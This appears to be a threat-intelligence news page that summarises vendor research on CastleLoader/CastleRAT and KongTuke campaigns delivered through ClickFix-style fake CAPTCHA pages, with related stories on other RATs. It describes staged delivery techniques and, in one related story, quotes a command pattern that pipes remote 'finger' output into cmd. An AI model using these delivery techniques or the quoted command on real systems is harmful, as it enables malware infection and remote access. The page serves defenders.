Loading story…
Researchers reported continued activity around CastleLoader/CastleBot malware delivery chains alongside a resurgence of KongTuke, with both threats relying heavily on social-engineering lures and staged payload delivery. Red Canary said CastleLoader remained active since early 2025 and was commonly delivered through paste-and-run fake CAPTCHA or impersonation websites, while Trend Micro documented KongTuke abusing compromised WordPress sites in ClickFix-style infection flows. The campaigns reflect a broader shift toward user-assisted execution, where victims are tricked into launching malicious commands that initiate multi-stage malware retrieval.
Technical analysis from IBM and Splunk tied the Castle ecosystem to a malware-as-a-service operation and detailed the tooling used after execution, including use of finger.exe to fetch batch commands, portable Python interpreters as a bring-your-own-interpreter technique, multilayer-obfuscated Python loaders, RC4-encrypted payload retrieval, and process injection into python.exe. Splunk's review of Castle RAT highlighted the client malware's tactics and ATT&CK-mapped behavior, while Red Canary noted anti-analysis checks, C2-based tasking, and detection opportunities such as repeated caret obfuscation in cmd.exe command lines. Together, the reporting shows an active loader-and-RAT ecosystem being distributed through fake verification pages and compromised web infrastructure.
Mallory correlates global threat intelligence with your attack surface — know if you’re exposed before adversaries strike.
6 events from the most recent confirmed update back to the earliest known activity.
Red Canary described CastleLoader delivery and execution techniques, including finger.exe retrieval, portable Python interpreters, obfuscated Python loaders, RC4-encrypted payload retrieval, process injection into python.exe, and a detection opportunity based on repeated caret obfuscation in cmd.exe command lines.
Red Canary highlighted a significant resurgence of KongTuke activity in its July 2026 threat prevalence roundup.
Red Canary's July 2026 roundup said ClearFake was the most prevalent threat for the third consecutive month, indicating sustained high activity through June 2026.
Red Canary reported that CastleLoader has been active since early 2025 and is commonly distributed through paste-and-run social engineering chains using fake CAPTCHA or impersonation websites.
Splunk published a blog post analyzing techniques and tactics used in Castle RAT client malware and discussing detection approaches mapped to MITRE ATT&CK.
IBM X-Force published research dissecting the CastleBot malware-as-a-service operation, documenting the threat's structure and behavior.
Vulnerabilities, threat actors, malware, products, organizations, and breaches Mallory has linked to this story.
4 references tracked. Mallory keeps watching after this page renders.
redcanary.com
Open sourcesplunk.com
Open sourceibm.com
Open sourcetrendmicro.com
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
Researchers reported multiple campaigns tied to the **CastleLoader/CastleRAT** malware ecosystem, showing operators adopting uncommon runtimes and social-engineering lures to bypass enterprise controls. ThreatDown said attackers used the **Deno JavaScript runtime** in what it described as the first observed abuse of Deno for malware delivery and evasion, while LevelBlue documented a related **ClickFix** variant that impersonated **LinkedIn** and **Indeed** through typosquatted domains and fake CAPTCHA pages to trick victims into launching malicious commands. In the ClickFix intrusion chain, attackers abused native Windows tools including `finger.exe`, `curl.exe`, `tar.exe`, and `cmd.exe` together with portable Python runtimes to stage fileless payloads in memory. The activity culminated in deployment of **CastleLoader**, a malware-as-a-service framework using **RC4**- and **ChaCha20**-protected communications to fetch tasks and follow-on payloads, including a Python-based RAT that profiles victims, weakens TLS validation, communicates over WebSockets, enables interactive shell access, uploads and executes payloads, and maintains persistence with mutex and watchdog mechanisms.
Jun 29, 2026
Multiple threat reports describe **social-engineering-driven malware delivery** leading to remote access and follow-on payload deployment. Fortinet observed a **multi-stage phishing campaign targeting users in Russia** that delivers **Amnesia RAT** and ransomware via business-themed decoy documents and a malicious `.lnk` shortcut using a double extension (e.g., `*.txt.lnk`). The infection chain uses public cloud services for staging—**GitHub** for scripts and **Dropbox** for binary payloads—and abuses **defendnot** to trick Windows into believing a third-party AV is installed, effectively disabling **Microsoft Defender** before later-stage execution. Separately, Huntress attributed activity to **KongTuke**, which uses **malicious browser extensions** to display fake “browser crash” security alerts (“**CrashFix**”) that pressure users into running attacker-provided commands, and also deploys a Python RAT dubbed **ModeloRAT**. ModeloRAT is described as heavily obfuscated, using **Windows Registry** persistence and **RC4**-encrypted communications, with the ability to deliver additional payloads (DLLs, executables, scripts). Red Canary’s January intelligence update highlights **Scarlet Goldfinch** activity using **paste-and-run** lures and a notable technique of using the Windows `finger` client to pull remote content (e.g., `finger user@IP | cmd`), followed by `curl` download of an archive masquerading as a PDF and extraction via `tar -xf`, culminating in **Remcos** (and sometimes **NetSupport**) delivered via **DLL sideloading**.
Jun 29, 2026
GrayBravo, a technically advanced threat actor previously tracked as TAG-150, has expanded its operations by leveraging the CastleLoader malware in a malware-as-a-service (MaaS) model. Recent analysis identified four distinct activity clusters, each employing unique tactics and targeting different industries, including logistics and hospitality. These clusters utilize sophisticated phishing techniques, such as impersonating global logistics firms and Booking.com, and employ the ClickFix method to distribute CastleLoader alongside other malware like Matanbuchus and CastleRAT. The infrastructure supporting these campaigns is large-scale and multi-layered, demonstrating GrayBravo's adaptability and rapid development cycles. The CastleLoader framework enables the delivery of various payloads, including infostealers (DeerStealer, RedLine Stealer, StealC Stealer), remote access trojans (NetSupport RAT, SectopRAT, MonsterV2, WARMCOOKIE), and additional loaders. Security researchers have linked the online persona "Sparja" to GrayBravo's activities, further highlighting the group's presence on underground forums. Defenders are advised to block associated IPs and domains, monitor for unusual connections to legitimate internet services, and deploy updated detection rules. Comprehensive lists of indicators of compromise (IoCs) and mitigation strategies have been provided to help organizations defend against these evolving threats.
Jun 29, 2026